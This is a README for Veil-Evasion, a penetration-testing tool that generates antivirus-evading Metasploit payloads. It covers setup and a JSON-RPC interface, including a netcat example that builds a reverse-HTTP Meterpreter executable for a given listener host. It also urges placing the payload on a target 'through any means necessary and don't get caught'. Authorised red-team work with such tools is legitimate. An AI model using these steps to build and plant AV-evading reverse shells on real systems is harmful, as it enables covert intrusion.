Veil-Evasion

Veil-Evasion is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

NOTE: ./setup/setup.sh should be re-run on every major version update. If you receive any major errors on running Veil-Evasion, first try re-running this script to install any additional packages and update the common configuration file.

Veil-Evasion is currently under active support by @ChrisTruncer, @TheMightyShiv, @HarmJ0y.

Thanks to:

• @jasonjfrank
• @mjmaley
• @davidpmcguire

Software Requirements:

Linux

1. Use Kali (x86) and all dependencies are pre-installed

or

1. Install Python 2.7
2. Install PyCrypto >= 2.3

Windows (for Py2Exe compilation)

1. Python (tested with x86 - http://www.python.org/download/releases/2.7/)
2. Py2Exe (http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/)
3. PyCrypto (http://www.voidspace.org.uk/python/modules.shtml)
4. PyWin32 (http://sourceforge.net/projects/pywin32/files/pywin32/Build%20218/pywin32-218.win32-py2.7.exe/download)

Setup (tl;dr)

NOTE: Installation must be done with superuser privileges. If you are not using Kali Linux, prepend each command with sudo or change to the root user before beginning.

Run setup.sh -c on Kali x86.

Install Python 2.7, Py2Exe, PyCrypto, and PyWin32 on a Windows computer (for Py2Exe).

Quick Install

apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c

Regenerating Config

NOTE: This must be done with superuser privileges. If you are not using Kali Linux, prepend each command with sudo or change to the root user before beginning.

Most of the time the config file at /etc/veil/settings.py will not need to be rebuilt but in some cases you might be prompted to do so. The file is generated by config/update.py.

It is important that you are in the config/ directory before executing update.py. If you are not, settings.py will be incorrect and when you launch Veil-Evasion you will see the following.

    Main Menu

            0 payloads loaded

Don't panic. Enter the config/ dir and re-run update.py.

Description

Veil-Evasion was designed to run on Kali Linux, but should function on any system capable of executing python scripts. Simply call Veil-Evasion from the command line, and follow the menu to generate a payload. Upon creating the payload, Veil-Evasion will ask if you would like the payload file to be converted into an executable by Pyinstaller or Py2Exe.

If using Pyinstaller, Veil-Evasion will convert your payload into an executable within Kali.

If using Py2Exe, Veil-Evasion will create three files:

• payload.py - The payload file
• setup.py - Required file for Py2Exe
• runme.bat - Batch script for compiling the payload into a Windows executable

Move all three files onto your Windows machine with Python installed. All three files should be placed in the root of the directory Python was installed to (likely C:\Python27). Run the batch script to convert the Python script into an executable format.

Place the executable file on your target machine through any means necessary and don't get caught!

RPC Server

On the listener side, run:

./Veil-Evasion --rpc

This will start a listener on port 4242.

On the client side, you will need to run a client program. This can be a custom script or can be as simple as Netcat. The RPC server implements JSON-RPC. This is a good reference for interpreting requests and responses for JSON-RPC: http://json-rpc.org/wiki/specification

The RPC request format is as follows:

    method="version"            -   return the current Veil-Evasion version number
    method="payloads"           -   return all the currently loaded payloads
    method="payload_options"
        params="payload_name"   -   return the options for the specified payload
    method="generate"
        params=["payload=X",   
                "outputbase=Y"
                "overwrite=Z",
                "msfvenom=...",
                "LHOST=blah]     -   generate the specified payload with the given options and returns the path of the generated executable

This is a simple example of working with Veil-Evasion using Netcat:

root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}

And the server response:

{"id":0,"result":"2.21.4","error":null}

An example of a client program can be found here: http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py

NOTE: The port for Veil-Evasion is 4242. This must be changed in client.py in order to work with it.

In order to generate a payload, ALL parameters must be included:

• payload - which payload to generate
• outputbase - the name to save the payload as
• LHOST - the ip address for the listening host
• LPORT - the port for the listening host
• pwnstaller - True to package python programs into an executable. False if not. Ignored for other payloads

This is a good reference to understand whether or not in use pwnstaller: http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/

An example of generating a payload:

root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}

And the server response:

{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}

NOTE: If there is no id specified in the request, Veil-Evasion will shut down. That being said, you can make as many valid requests as you would like until Veil-Evasion shuts down.

To shut down the RPC server run:

./Veil-Evasion --rpcshutdown